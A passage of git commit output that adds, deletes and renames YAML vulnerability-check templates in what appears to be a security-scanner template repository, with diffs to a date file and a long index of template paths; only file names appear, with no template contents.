poc/wordpress/wp-bricks-builder-theme.yaml delete mode 100644 poc/wordpress/wp-church-admin-xss-11424.yaml delete mode 100644 poc/wordpress/wp-code-snippets-xss-11426.yaml delete mode 100644 poc/wordpress/wp-custom-tables-xss-11431.yaml create mode 100644 poc/wordpress/wp-custom-tables-xss-11434.yaml mode change 100755 => 100644 poc/wordpress/wp-debug-log.yaml create mode 100644 poc/wordpress/wp-donate-da3f0f16feb56d7497b76972109fd5c9.yaml create mode 100644 poc/wordpress/wp-easy-booking-978f883d6a8b36161700bd5cd3933d9a.yaml create mode 100644 poc/wordpress/wp-email-subscribers-listing-11442.yaml delete mode 100644 poc/wordpress/wp-email-subscribers-listing-11443.yaml create mode 100644 poc/wordpress/wp-finder-xss-11445.yaml delete mode 100644 poc/wordpress/wp-finder-xss-11449.yaml create mode 100644 poc/wordpress/wp-flagem-xss-11451.yaml delete mode 100644 poc/wordpress/wp-flagem-xss-11453.yaml rename poc/wordpress/{wp-install-11475.yaml => wp-install.yaml} (100%) create mode 100644 poc/wordpress/wp-iwp-client-listing-11478.yaml create mode 100644 poc/wordpress/wp-jquery-lightbox-99110571c397e4da07c1bd94f9b80853.yaml delete mode 100644 poc/wordpress/wp-knews-xss-11487.yaml delete mode 100644 poc/wordpress/wp-license-file-11489.yaml create mode 100644 poc/wordpress/wp-license-file-11491.yaml create mode 100644 poc/wordpress/wp-logs-book.yaml rename poc/wordpress/{wp-mailchimp-log-exposure-11492.yaml => wp-mailchimp-log-exposure-11494.yaml} (100%) delete mode 100644 poc/wordpress/wp-mailchimp-log-exposure.yaml create mode 100644 poc/wordpress/wp-maintenance-bddd2594e97161a0a633c13561368f2c.yaml create mode 100644 poc/wordpress/wp-memphis-documents-library-lfi-11495.yaml delete mode 100644 poc/wordpress/wp-multiple-theme-ssrf-11508.yaml delete mode 100644 poc/wordpress/wp-phpfreechat-xss-11527.yaml delete mode 100644 poc/wordpress/wp-plugin-lifterlms-11536.yaml create mode 100644 poc/wordpress/wp-plugin-marmoset-viewer-xss-11537.yaml create mode 100644 poc/wordpress/wp-popup-listing-11545.yaml delete mode 100644 poc/wordpress/wp-popup-listing.yaml rename poc/wordpress/{wp-prostore-open-redirect.yaml => wp-prostore-open-redirect-11546.yaml} (100%) delete mode 100644 poc/wordpress/wp-prostore-open-redirect-11550.yaml rename poc/wordpress/{wp-qards-listing.yaml => wp-qards-listing-11552.yaml} (100%) create mode 100644 poc/wordpress/wp-revslider-file-download-11554.yaml create mode 100644 poc/wordpress/wp-security-open-redirect-11561.yaml delete mode 100644 poc/wordpress/wp-security-open-redirect.yaml delete mode 100644 poc/wordpress/wp-spot-premium-lfi.yaml delete mode 100644 poc/wordpress/wp-super-forms-11587.yaml delete mode 100644 poc/wordpress/wp-tinymce-lfi-11589.yaml create mode 100644 poc/wordpress/wp-tinymce-lfi-11591.yaml create mode 100644 poc/wordpress/wp-tutor-lfi-11596.yaml create mode 100644 poc/wordpress/wp-upload-data-11605.yaml rename poc/wordpress/{wordpress-upload-data.yaml => wp-upload-data.yaml} (100%) delete mode 100644 poc/wordpress/wp-whmcs-xss-11614.yaml create mode 100644 poc/wordpress/wp-widget-bundle.yaml create mode 100644 poc/wordpress/wp-woocommerce-email-verification-11617.yaml delete mode 100644 poc/wordpress/wp-xmlrpc-11631.yaml create mode 100644 poc/wordpress/wp-xmlrpc-brute-force-11624.yaml create mode 100644 poc/wordpress/wpdm-cache-session-11436.yaml delete mode 100644 poc/wordpress/wpdm-cache-session-11439.yaml create mode 100644 poc/wordpress/wpmudev-my-calender-xss-11502.yaml delete mode 100644 poc/wordpress/wpmudev-my-calender-xss-11503.yaml delete mode 100644 poc/wordpress/wpmudev-pub-keys-11506.yaml create mode 100644 poc/wordpress/wpmudev-pub-keys-11507.yaml create mode 100644 poc/wordpress/wptouch-open-redirect-11595.yaml delete mode 100644 poc/xml_external_entity/springboot-actuators-jolokia-xxe-10430.yaml create mode 100644 poc/xss/aem-xss-childlist-selector-197.yaml delete mode 100644 poc/xss/akamai-arl-xss-249.yaml create mode 100644 poc/xss/akamai-arl-xss.yaml create mode 100644 poc/xss/basic-xss-prober-699.yaml delete mode 100644 poc/xss/ckan-dom-based-xss-992.yaml create mode 100644 poc/xss/ckan-dom-based-xss.yaml create mode 100644 poc/xss/concrete-xss.yaml rename poc/xss/{dom-xss-7079.yaml => dom-xss-7078.yaml} (100%) rename poc/xss/{dom-xss-siteminder(1).yaml => dom-xss-siteminder.yaml} (100%) create mode 100644 poc/xss/elex-woocommerce-xss.yaml create mode 100644 poc/xss/java-melody-xss.yaml create mode 100644 poc/xss/jorani-benjamin-xss.yaml delete mode 100644 poc/xss/kafdrop-xss-8411.yaml create mode 100644 poc/xss/keycloak-xss-8480.yaml delete mode 100644 poc/xss/keycloak-xss-8482.yaml create mode 100644 poc/xss/laravel-ignition-xss.yaml delete mode 100644 poc/xss/mida-eframework-xss-8866.yaml create mode 100644 poc/xss/moodle-xss-8950.yaml delete mode 100644 poc/xss/moodle-xss-8952.yaml create mode 100644 poc/xss/netsweeper-rxss-9065.yaml delete mode 100644 poc/xss/netsweeper-rxss.yaml delete mode 100644 poc/xss/nginx-module-vts-xss-9109.yaml create mode 100644 poc/xss/oracle-ebs-xss-9373.yaml delete mode 100644 poc/xss/oracle-ebs-xss-9376.yaml create mode 100644 poc/xss/oracle-oam-xss.yaml delete mode 100644 poc/xss/parentlink-xss-9467.yaml create mode 100644 poc/xss/php-timeclock-xss-9550.yaml rename poc/xss/{php-timeclock-xss-9554.yaml => php-timeclock-xss.yaml} (100%) create mode 100644 poc/xss/pmb-xss.yaml delete mode 100644 poc/xss/qcubed-xss-9749.yaml create mode 100644 poc/xss/qcubed-xss.yaml create mode 100644 poc/xss/rails6-xss-9798.yaml rename poc/{other/nuclei_template.yaml => xss/rxss.yaml} (100%) delete mode 100644 poc/xss/samsung-wlan-ap-xss.yaml delete mode 100644 poc/xss/sick-beard-xss-10234.yaml delete mode 100644 poc/xss/squirrelmail-vkeyboard-xss-10522.yaml create mode 100644 poc/xss/squirrelmail-vkeyboard-xss.yaml delete mode 100644 poc/xss/thruk-xss.yaml delete mode 100644 poc/xss/tikiwiki-reflected-xss-10780.yaml create mode 100644 poc/xss/tikiwiki-xss.yaml create mode 100644 poc/xss/top-xss-params-10807.yaml create mode 100644 poc/xss/wems-manager-xss.yaml rename poc/xss/{window-name-domxss-11213.yaml => window-name-domxss.yaml} (100%) delete mode 100644 poc/xss/wp-church-admin-xss-11424.yaml delete mode 100644 poc/xss/wp-code-snippets-xss-11426.yaml delete mode 100644 poc/xss/wp-custom-tables-xss-11431.yaml create mode 100644 poc/xss/wp-custom-tables-xss-11434.yaml create mode 100644 poc/xss/wp-finder-xss-11445.yaml delete mode 100644 poc/xss/wp-finder-xss-11449.yaml create mode 100644 poc/xss/wp-flagem-xss-11451.yaml delete mode 100644 poc/xss/wp-flagem-xss-11453.yaml delete mode 100644 poc/xss/wp-knews-xss-11487.yaml delete mode 100644 poc/xss/wp-phpfreechat-xss-11527.yaml create mode 100644 poc/xss/wp-plugin-marmoset-viewer-xss-11537.yaml delete mode 100644 poc/xss/wp-whmcs-xss-11614.yaml create mode 100644 poc/xss/wpmudev-my-calender-xss-11502.yaml delete mode 100644 poc/xss/wpmudev-my-calender-xss-11503.yaml diff --git a/date.txt b/date.txt index ab2ff39bb4..de43a34b91 100644 --- a/date.txt +++ b/date.txt @@ -1 +1 @@ -20240606 +20240607 diff --git a/poc.txt b/poc.txt index ef601d27dd..287d037a5c 100644 --- a/poc.txt +++ b/poc.txt @@ -19,8 +19,8 @@ ./poc/adobe/adobe-coldfusion-detect-5.yaml ./poc/adobe/adobe-coldfusion-detect-6.yaml ./poc/adobe/adobe-coldfusion-detect-82.yaml +./poc/adobe/adobe-coldfusion-detect-83.yaml ./poc/adobe/adobe-coldfusion-detect-84.yaml -./poc/adobe/adobe-coldfusion-detect.yaml ./poc/adobe/adobe-coldfusion-detector-1.yaml ./poc/adobe/adobe-coldfusion-detector-2.yaml ./poc/adobe/adobe-coldfusion-detector-3.yaml @@ -29,19 +29,18 @@ ./poc/adobe/adobe-coldfusion-detector-6.yaml ./poc/adobe/adobe-coldfusion-detector-error.yaml ./poc/adobe/adobe-coldfusion-error-detect-85.yaml -./poc/adobe/adobe-coldfusion-error-detect-86.yaml ./poc/adobe/adobe-coldfusion-error-detect-87.yaml ./poc/adobe/adobe-coldfusion-error-detect-88.yaml +./poc/adobe/adobe-coldfusion-error-detect.yaml ./poc/adobe/adobe-component-login-1.yaml ./poc/adobe/adobe-component-login-2.yaml -./poc/adobe/adobe-component-login-90.yaml +./poc/adobe/adobe-component-login-89.yaml ./poc/adobe/adobe-component-login-92.yaml ./poc/adobe/adobe-component-login.yaml +./poc/adobe/adobe-connect-central-login-93.yaml ./poc/adobe/adobe-connect-central-login-94.yaml ./poc/adobe/adobe-connect-central-login-95.yaml -./poc/adobe/adobe-connect-central-login-97.yaml ./poc/adobe/adobe-connect-central-login.yaml -./poc/adobe/adobe-connect-username-exposure-100.yaml ./poc/adobe/adobe-connect-username-exposure-98.yaml ./poc/adobe/adobe-connect-username-exposure-99.yaml ./poc/adobe/adobe-connect-username-exposure.yaml @@ -50,7 +49,7 @@ ./poc/adobe/adobe-connect-version-104.yaml ./poc/adobe/adobe-connect.yaml ./poc/adobe/adobe-cq5.yaml -./poc/adobe/adobe-experience-manager-login-106.yaml +./poc/adobe/adobe-experience-manager-login-105.yaml ./poc/adobe/adobe-experience-manager-login-107.yaml ./poc/adobe/adobe-experience-manager-login-108.yaml ./poc/adobe/adobe-experience-manager-login-109.yaml @@ -63,20 +62,18 @@ ./poc/adobe/adobe-media-server-111.yaml ./poc/adobe/adobe-media-server-112.yaml ./poc/adobe/adobe-media-server-113.yaml +./poc/adobe/adobe-media-server-114.yaml ./poc/adobe/adobe-media-server-115.yaml -./poc/adobe/adobe-media-server.yaml ./poc/adobe/adobe-phish.yaml ./poc/adobe/adobe-robohelp.yaml ./poc/adobe/adobe-secret.yaml ./poc/adobe/aem-acs-common.yaml -./poc/adobe/aem-bg-servlet-127.yaml ./poc/adobe/aem-bg-servlet-128.yaml ./poc/adobe/aem-bg-servlet-129.yaml ./poc/adobe/aem-cached-pages-131.yaml ./poc/adobe/aem-cached-pages.yaml ./poc/adobe/aem-cms-finder.yaml ./poc/adobe/aem-crx-bypass-1.yaml -./poc/adobe/aem-crx-bypass-132.yaml ./poc/adobe/aem-crx-bypass-133.yaml ./poc/adobe/aem-crx-bypass-134.yaml ./poc/adobe/aem-crx-bypass-2.yaml @@ -89,7 +86,8 @@ ./poc/adobe/aem-default-get-servlet-12.yaml ./poc/adobe/aem-default-get-servlet-13.yaml ./poc/adobe/aem-default-get-servlet-135.yaml -./poc/adobe/aem-default-get-servlet-136.yaml +./poc/adobe/aem-default-get-servlet-137.yaml +./poc/adobe/aem-default-get-servlet-138.yaml ./poc/adobe/aem-default-get-servlet-139.yaml ./poc/adobe/aem-default-get-servlet-14.yaml ./poc/adobe/aem-default-get-servlet-15.yaml @@ -143,12 +141,11 @@ ./poc/adobe/aem-default-get-servlet-8.yaml ./poc/adobe/aem-default-get-servlet-9.yaml ./poc/adobe/aem-default-get-servlet.yaml -./poc/adobe/aem-default-login-141.yaml +./poc/adobe/aem-default-login-140.yaml ./poc/adobe/aem-default-login-142.yaml -./poc/adobe/aem-default-login.yaml ./poc/adobe/aem-detection-143.yaml ./poc/adobe/aem-detection-144.yaml -./poc/adobe/aem-detection-146.yaml +./poc/adobe/aem-detection-145.yaml ./poc/adobe/aem-detection.yaml ./poc/adobe/aem-disk-usage.yaml ./poc/adobe/aem-dump-contentnode.yaml @@ -156,17 +153,18 @@ ./poc/adobe/aem-fuzz.yaml ./poc/adobe/aem-gql-servlet-147.yaml ./poc/adobe/aem-gql-servlet-148.yaml -./poc/adobe/aem-gql-servlet-150.yaml +./poc/adobe/aem-gql-servlet-149.yaml ./poc/adobe/aem-gql-servlet.yaml ./poc/adobe/aem-groovyconsole-151.yaml ./poc/adobe/aem-groovyconsole-152.yaml +./poc/adobe/aem-groovyconsole-153.yaml ./poc/adobe/aem-groovyconsole-154.yaml ./poc/adobe/aem-groovyconsole-155.yaml ./poc/adobe/aem-groovyconsole-156.yaml ./poc/adobe/aem-hash-querybuilder-157.yaml ./poc/adobe/aem-hash-querybuilder-158.yaml +./poc/adobe/aem-hash-querybuilder-159.yaml ./poc/adobe/aem-hash-querybuilder-160.yaml -./poc/adobe/aem-hash-querybuilder-161.yaml ./poc/adobe/aem-hash-querybuilder.yaml ./poc/adobe/aem-jcr-querybuilder-163.yaml ./poc/adobe/aem-jcr-querybuilder-164.yaml @@ -177,12 +175,12 @@ ./poc/adobe/aem-login-status-168.yaml ./poc/adobe/aem-login-status-170.yaml ./poc/adobe/aem-login-status-171.yaml +./poc/adobe/aem-merge-metadata-servlet-172.yaml ./poc/adobe/aem-merge-metadata-servlet-173.yaml -./poc/adobe/aem-merge-metadata-servlet-174.yaml -./poc/adobe/aem-merge-metadata-servlet.yaml ./poc/adobe/aem-misc-admin.yaml ./poc/adobe/aem-offloading-browser.yaml ./poc/adobe/aem-osgi-bundles.yaml +./poc/adobe/aem-querybuilder-feed-servlet-175.yaml ./poc/adobe/aem-querybuilder-feed-servlet-176.yaml ./poc/adobe/aem-querybuilder-feed-servlet-177.yaml ./poc/adobe/aem-querybuilder-internal-path-read-1.yaml @@ -193,23 +191,23 @@ ./poc/adobe/aem-querybuilder-internal-path-read-3.yaml ./poc/adobe/aem-querybuilder-internal-path-read-4.yaml ./poc/adobe/aem-querybuilder-internal-path-read.yaml -./poc/adobe/aem-querybuilder-json-servlet-182.yaml ./poc/adobe/aem-querybuilder-json-servlet-183.yaml ./poc/adobe/aem-querybuilder-json-servlet-184.yaml ./poc/adobe/aem-querybuilder-json-servlet-185.yaml -./poc/adobe/aem-querybuilder-json-servlet-186.yaml ./poc/adobe/aem-querybuilder-json-servlet-187.yaml +./poc/adobe/aem-secrets.yaml ./poc/adobe/aem-security-users.yaml ./poc/adobe/aem-setpreferences-xss-189.yaml ./poc/adobe/aem-sling-login.yaml +./poc/adobe/aem-userinfo-servlet-190.yaml ./poc/adobe/aem-userinfo-servlet-191.yaml ./poc/adobe/aem-userinfo-servlet-192.yaml -./poc/adobe/aem-userinfo-servlet-193.yaml ./poc/adobe/aem-userinfo-servlet.yaml ./poc/adobe/aem-wcm-suggestions-servlet-194.yaml ./poc/adobe/aem-wcm-suggestions-servlet-195.yaml ./poc/adobe/aem-wcm-suggestions-servlet.yaml ./poc/adobe/aem-workflow.yaml +./poc/adobe/aem-xss-childlist-selector-197.yaml ./poc/adobe/aem-xss-childlist-selector-198.yaml ./poc/adobe/aem.yaml ./poc/adobe/cached-aem-pages.yaml @@ -219,8 +217,8 @@ ./poc/adobe/libwww-perl-daemon.yaml ./poc/adobe/mdaemon-email-server.yaml ./poc/adobe/mjniohttpdaemon.yaml -./poc/adobe/possible-AEM-secrets.yaml ./poc/adobe/servudaemon-ini.yaml +./poc/adobe/vmware-authentication-daemon-detect.yaml ./poc/airflow/Airflow-Unauth.yaml ./poc/airflow/Airflow-unauthorized.yaml ./poc/airflow/airflow-api-exposure.yaml @@ -230,9 +228,8 @@ ./poc/airflow/airflow-debug-232.yaml ./poc/airflow/airflow-debug.yaml ./poc/airflow/airflow-default-credentials.yaml -./poc/airflow/airflow-default-login-235.yaml +./poc/airflow/airflow-default-login-234.yaml ./poc/airflow/airflow-default-login-236.yaml -./poc/airflow/airflow-default-login.yaml ./poc/airflow/airflow-detect-237.yaml ./poc/airflow/airflow-detect-238.yaml ./poc/airflow/airflow-detect-239.yaml @@ -248,6 +245,7 @@ ./poc/airflow/unauthenticated-airflow-10884.yaml ./poc/airflow/unauthenticated-airflow-10885.yaml ./poc/airflow/unauthenticated-airflow-10886.yaml +./poc/airflow/unauthenticated-airflow-10887.yaml ./poc/airflow/unauthenticated-airflow.yaml ./poc/apache/APACHE-Ambari-weakPass.yaml ./poc/apache/Apache-NiFi-rce.yaml @@ -270,8 +268,8 @@ ./poc/apache/apache-ambari-default-password.yml ./poc/apache/apache-ambari.yaml ./poc/apache/apache-apisix-dashboard.yaml +./poc/apache/apache-apisix-panel-336.yaml ./poc/apache/apache-apisix-panel-337.yaml -./poc/apache/apache-apisix-panel-338.yaml ./poc/apache/apache-apisix-panel.yaml ./poc/apache/apache-apisix.yaml ./poc/apache/apache-archiva.yaml @@ -280,14 +278,15 @@ ./poc/apache/apache-axis-detect-3.yaml ./poc/apache/apache-axis-detect-339.yaml ./poc/apache/apache-axis-detect-340.yaml +./poc/apache/apache-axis-detect.yaml ./poc/apache/apache-axis.yaml ./poc/apache/apache-axis2.yaml -./poc/apache/apache-cocoon-detect.yaml +./poc/apache/apache-cocoon-detect-342.yaml ./poc/apache/apache-cocoon.yaml ./poc/apache/apache-config-343.yaml -./poc/apache/apache-config-344.yaml ./poc/apache/apache-config-exposure.yaml ./poc/apache/apache-config-plain-password.yaml +./poc/apache/apache-config.yaml ./poc/apache/apache-couchdb-unauth.yaml ./poc/apache/apache-couchdb.yaml ./poc/apache/apache-detect-345.yaml @@ -304,20 +303,22 @@ ./poc/apache/apache-druid-log4j.yaml ./poc/apache/apache-druid-unauth.yaml ./poc/apache/apache-druid.yaml -./poc/apache/apache-dubbo-detect.yaml +./poc/apache/apache-dubbo-detect-351.yaml +./poc/apache/apache-dubbo-unauth.yaml ./poc/apache/apache-dubbo.yaml ./poc/apache/apache-filename-brute-force-353.yaml ./poc/apache/apache-filename-brute-force.yaml -./poc/apache/apache-filename-enum.yaml -./poc/apache/apache-flink-unauth-rce-355.yaml +./poc/apache/apache-filename-enum-354.yaml +./poc/apache/apache-flink-unauth-rce-356.yaml ./poc/apache/apache-flink-unauth-rce-357.yaml ./poc/apache/apache-flink-unauth-rce-358.yaml ./poc/apache/apache-flink-unauth-rce-359.yaml +./poc/apache/apache-flink-unauth-rce.yaml ./poc/apache/apache-flink-upload-rce.yml ./poc/apache/apache-flink.yaml ./poc/apache/apache-forrest.yaml ./poc/apache/apache-guacamole-360.yaml -./poc/apache/apache-guacamole.yaml +./poc/apache/apache-guacamole-361.yaml ./poc/apache/apache-hadoop-yarn.yaml ./poc/apache/apache-hadoop.yaml ./poc/apache/apache-haus.yaml @@ -329,6 +330,7 @@ ./poc/apache/apache-httpd-cve-2021-40438-ssrf.yml ./poc/apache/apache-httpd-cve-2021-41773-path-traversal.yml ./poc/apache/apache-httpd-cve-2021-41773-rce.yml +./poc/apache/apache-httpd-rce-362.yaml ./poc/apache/apache-httpd-rce-363.yaml ./poc/apache/apache-httpd-rce.yaml ./poc/apache/apache-impala.yaml @@ -349,6 +351,7 @@ ./poc/apache/apache-ofbiz.yaml ./poc/apache/apache-oozie-web-console.yaml ./poc/apache/apache-ranger.yaml +./poc/apache/apache-rocketmq-broker-unauth.yaml ./poc/apache/apache-server-info.yaml ./poc/apache/apache-server-info.yml ./poc/apache/apache-server-status-check.yaml @@ -378,8 +381,9 @@ ./poc/apache/apache-struts.yaml ./poc/apache/apache-superset-login-extended.yaml ./poc/apache/apache-superset.yaml +./poc/apache/apache-tomcat-CVE-2022-34305.yaml ./poc/apache/apache-tomcat-cve-2022-34305.yaml -./poc/apache/apache-tomcat-snoop-375.yaml +./poc/apache/apache-tomcat-snoop-374.yaml ./poc/apache/apache-tomcat-snoop-376.yaml ./poc/apache/apache-tomcat-snoop-377.yaml ./poc/apache/apache-tomcat-snoop-cookie-handling.yaml @@ -394,18 +398,17 @@ ./poc/apache/askapache-firefox-adsense-f97340f5d88b3c5e1859d992075304c3.yaml ./poc/apache/askapache-firefox-adsense.yaml ./poc/apache/default-apache-test-all-6812.yaml -./poc/apache/default-apache-test-all-6813.yaml ./poc/apache/default-apache-test-all-6814.yaml +./poc/apache/default-apache-test-all-6815.yaml +./poc/apache/default-apache-test-all.yaml ./poc/apache/default-apache-test-page-6816.yaml ./poc/apache/default-apache-test-page-6817.yaml ./poc/apache/default-apache-test-page-6818.yaml ./poc/apache/default-apache-test-page-6819.yaml -./poc/apache/default-apache-test-page.yaml ./poc/apache/default-apache2-page-6804.yaml ./poc/apache/default-apache2-page-6805.yaml ./poc/apache/default-apache2-page-6806.yaml ./poc/apache/default-apache2-page-6807.yaml -./poc/apache/default-apache2-ubuntu-page-6808.yaml ./poc/apache/default-apache2-ubuntu-page-6809.yaml ./poc/apache/default-apache2-ubuntu-page-6810.yaml ./poc/apache/default-apache2-ubuntu-page-6811.yaml @@ -437,21 +440,23 @@ ./poc/api/alfacgiapi-wordpress-3.yaml ./poc/api/alfacgiapi-wordpress-4.yaml ./poc/api/apache-apisix-dashboard.yaml +./poc/api/apache-apisix-panel-336.yaml ./poc/api/apache-apisix-panel-337.yaml -./poc/api/apache-apisix-panel-338.yaml ./poc/api/apache-apisix-panel.yaml ./poc/api/apache-apisix.yaml ./poc/api/apache-nifi-api-unauthorized-access.yml ./poc/api/api-abstractapi.yaml ./poc/api/api-abuseipdb-384.yaml ./poc/api/api-accuweather-386.yaml -./poc/api/api-adafruit-io.yaml +./poc/api/api-adafruit-io-387.yaml ./poc/api/api-aletheia.yaml ./poc/api/api-alienvault-388.yaml ./poc/api/api-alienvault-389.yaml -./poc/api/api-apigee-edge.yaml -./poc/api/api-appveyor.yaml +./poc/api/api-alienvault.yaml +./poc/api/api-apigee-edge-391.yaml +./poc/api/api-appveyor-392.yaml ./poc/api/api-asana-393.yaml +./poc/api/api-asana.yaml ./poc/api/api-aviationstack.yaml ./poc/api/api-bearer-auth-a2f3021256bf5d76bbaeaff6f05d43fd.yaml ./poc/api/api-bearer-auth.yaml @@ -459,37 +464,39 @@ ./poc/api/api-bing-map-2018-bdd86a2dc395718687e612b89b6cd720.yaml ./poc/api/api-bing-map-2018.yaml ./poc/api/api-bingmaps-395.yaml -./poc/api/api-bingmaps.yaml ./poc/api/api-bitly.yaml ./poc/api/api-bitrise.yaml -./poc/api/api-block-400.yaml -./poc/api/api-blockchain-398.yaml +./poc/api/api-block.yaml +./poc/api/api-blockchain-399.yaml ./poc/api/api-blockchain.yaml -./poc/api/api-bravenewcoin.yaml +./poc/api/api-bravenewcoin-401.yaml ./poc/api/api-breezometer.yaml ./poc/api/api-buildkite-402.yaml ./poc/api/api-buttercms-403.yaml -./poc/api/api-calendly-404.yaml +./poc/api/api-calendly.yaml ./poc/api/api-carboninterface.yaml ./poc/api/api-circleci-405.yaml ./poc/api/api-circleci-406.yaml -./poc/api/api-clearbit.yaml +./poc/api/api-clearbit-407.yaml ./poc/api/api-climatiq.yaml ./poc/api/api-cloudmersive.yaml -./poc/api/api-coinapi-408.yaml +./poc/api/api-coinapi.yaml ./poc/api/api-cooperhewitt-409.yaml -./poc/api/api-cooperhewitt-410.yaml ./poc/api/api-cooperhewitt-411.yaml -./poc/api/api-covalent-412.yaml +./poc/api/api-covalent.yaml ./poc/api/api-dbt.yaml ./poc/api/api-debounce-414.yaml -./poc/api/api-deviantart-415.yaml -./poc/api/api-dribbble-417.yaml +./poc/api/api-deviantart.yaml +./poc/api/api-dribbble-416.yaml +./poc/api/api-dribbble.yaml +./poc/api/api-dropbox-418.yaml ./poc/api/api-dropbox.yaml ./poc/api/api-endpoints.yaml ./poc/api/api-europeana-419.yaml ./poc/api/api-europeana-421.yaml -./poc/api/api-facebook.yaml +./poc/api/api-europeana.yaml +./poc/api/api-facebook-422.yaml +./poc/api/api-fastly-423.yaml ./poc/api/api-fastly-424.yaml ./poc/api/api-fastly.yml ./poc/api/api-festivo-425.yaml @@ -499,17 +506,13 @@ ./poc/api/api-front.yaml ./poc/api/api-fullhunt.yaml ./poc/api/api-github-429.yaml -./poc/api/api-gitlab-430.yaml -./poc/api/api-gitlab-431.yaml ./poc/api/api-gitlab.yml ./poc/api/api-google-drive-432.yaml ./poc/api/api-harvardart-433.yaml -./poc/api/api-heroku-435.yaml ./poc/api/api-heroku.yaml -./poc/api/api-hirak-rates.yaml +./poc/api/api-hirak-rates-436.yaml ./poc/api/api-hubspot-437.yaml ./poc/api/api-iconfinder-438.yaml -./poc/api/api-iconfinder-439.yaml ./poc/api/api-improvmx.yaml ./poc/api/api-info-themes-plugins-wp-org-66caa0b56de1f5b395ccb9edd74d127d.yaml ./poc/api/api-info-themes-plugins-wp-org-a5ba91db466ae424f41944b08096d121.yaml @@ -519,93 +522,96 @@ ./poc/api/api-info-themes-plugins-wp-org-plugin.yaml ./poc/api/api-info-themes-plugins-wp-org.yaml ./poc/api/api-instagram.yaml -./poc/api/api-instatus-442.yaml -./poc/api/api-intercom.yaml +./poc/api/api-instatus.yaml +./poc/api/api-intercom-443.yaml ./poc/api/api-ipapi.yaml ./poc/api/api-ipstack-444.yaml ./poc/api/api-iqair.yaml ./poc/api/api-iterable-445.yaml +./poc/api/api-iterable.yaml ./poc/api/api-jumpcloud-446.yaml +./poc/api/api-jumpcloud.yaml ./poc/api/api-key-for-google-maps-b973f74f4310543c7180ee3869335562.yaml ./poc/api/api-key-for-google-maps.yaml ./poc/api/api-keys.yaml ./poc/api/api-languagelayer.yaml ./poc/api/api-launchdarkly.yaml -./poc/api/api-leanix-450.yaml +./poc/api/api-leanix.yaml ./poc/api/api-linkedin.yaml ./poc/api/api-linkfinder.yaml ./poc/api/api-lokalise-452.yaml ./poc/api/api-loqate-453.yaml ./poc/api/api-mailchimp-454.yaml +./poc/api/api-mailchimp.yaml ./poc/api/api-mailgun-455.yaml -./poc/api/api-malshare-456.yaml ./poc/api/api-malshare-457.yaml +./poc/api/api-malshare.yaml ./poc/api/api-malwarebazaar-458.yaml ./poc/api/api-malwarebazaar-459.yaml -./poc/api/api-mapbox-465.yaml +./poc/api/api-mapbox.yaml ./poc/api/api-marketstack.yaml ./poc/api/api-mediastack.yaml ./poc/api/api-mojoauth.yaml ./poc/api/api-mywot-467.yaml -./poc/api/api-mywot.yaml ./poc/api/api-nerdgraph-469.yaml +./poc/api/api-nerdgraph.yaml ./poc/api/api-netlify.yaml ./poc/api/api-npm-471.yaml -./poc/api/api-onelogin.yaml +./poc/api/api-onelogin-472.yaml ./poc/api/api-openweather-473.yaml ./poc/api/api-optimizely-474.yaml ./poc/api/api-pagerduty-475.yaml -./poc/api/api-pagerduty.yaml -./poc/api/api-particle.yaml +./poc/api/api-particle-476.yaml ./poc/api/api-pastebin.yaml -./poc/api/api-paypal.yaml +./poc/api/api-paypal-478.yaml ./poc/api/api-pendo-479.yaml -./poc/api/api-petfinder-480.yaml -./poc/api/api-pinata-481.yaml +./poc/api/api-petfinder.yaml +./poc/api/api-pinata.yaml ./poc/api/api-pivotaltracker-482.yaml +./poc/api/api-pivotaltracker.yaml ./poc/api/api-positionstack.yaml ./poc/api/api-postmark-483.yaml ./poc/api/api-quip.yaml ./poc/api/api-rate-limit-exceeded.yaml ./poc/api/api-reviewapi.yaml +./poc/api/api-rijksmuseum-485.yaml ./poc/api/api-rijksmuseum-486.yaml -./poc/api/api-rijksmuseum.yaml +./poc/api/api-scanii-487.yaml ./poc/api/api-scanii-488.yaml -./poc/api/api-scanii.yaml ./poc/api/api-screenshotlayer.yaml ./poc/api/api-seatgeek.yaml ./poc/api/api-sendgrid-489.yaml ./poc/api/api-sendgrid.yaml ./poc/api/api-slack-493.yaml -./poc/api/api-sonarcloud.yaml +./poc/api/api-sonarcloud-494.yaml ./poc/api/api-sportdataapi.yaml ./poc/api/api-spotify.yaml ./poc/api/api-square-496.yaml ./poc/api/api-sslmate-497.yaml ./poc/api/api-strava-498.yaml ./poc/api/api-stripe-499.yaml -./poc/api/api-stytch.yaml -./poc/api/api-taiga-501.yaml -./poc/api/api-thecatapi-502.yaml +./poc/api/api-stytch-500.yaml +./poc/api/api-taiga.yaml ./poc/api/api-thecatapi-503.yaml -./poc/api/api-tink-504.yaml +./poc/api/api-tink.yaml ./poc/api/api-tinypng-505.yaml +./poc/api/api-tinypng.yaml ./poc/api/api-travisci-506.yaml +./poc/api/api-travisci.yaml ./poc/api/api-twitter-507.yaml ./poc/api/api-urlscan-508.yaml ./poc/api/api-users-exposed.yaml ./poc/api/api-vercel.yaml +./poc/api/api-virustotal-511.yaml ./poc/api/api-virustotal-512.yaml -./poc/api/api-virustotal.yaml ./poc/api/api-visualstudio-513.yaml ./poc/api/api-wakatime-514.yaml -./poc/api/api-wakatime.yaml ./poc/api/api-weatherstack.yaml ./poc/api/api-webex.yaml ./poc/api/api-weglot-516.yaml ./poc/api/api-wordcloud-517.yaml ./poc/api/api-wordcloud-518.yaml -./poc/api/api-youtube-519.yaml +./poc/api/api-youtube.yaml ./poc/api/api-zenserp.yaml ./poc/api/api-zipcodebase.yaml ./poc/api/api2cart-bridge-connector-7f28d21ce1d1423f08ff3303e97fdcda.yaml @@ -617,7 +623,7 @@ ./poc/api/apilayer-caddy.yaml ./poc/api/apiman-panel-460.yaml ./poc/api/apiman-panel-461.yaml -./poc/api/apiman-panel-463.yaml +./poc/api/apiman-panel-462.yaml ./poc/api/apiman-panel-464.yaml ./poc/api/apisix-default-login-490.yaml ./poc/api/apisix-default-login-492.yaml @@ -638,8 +644,8 @@ ./poc/api/bems-api-lfi-711.yaml ./poc/api/burp-api-detect-809.yaml ./poc/api/burp-api-detect-810.yaml +./poc/api/burp-api-detect-812.yaml ./poc/api/burp-api-detect-813.yaml -./poc/api/burp-api-detect.yaml ./poc/api/cart-rest-api-for-woocommerce-863e46252f4619353ac6e316726d18cc.yaml ./poc/api/cart-rest-api-for-woocommerce.yaml ./poc/api/clickhouse-api-unauth.yaml @@ -652,8 +658,7 @@ ./poc/api/contentful-api-token.yaml ./poc/api/couchbase-buckets-api-1230.yaml ./poc/api/couchbase-buckets-api-1231.yaml 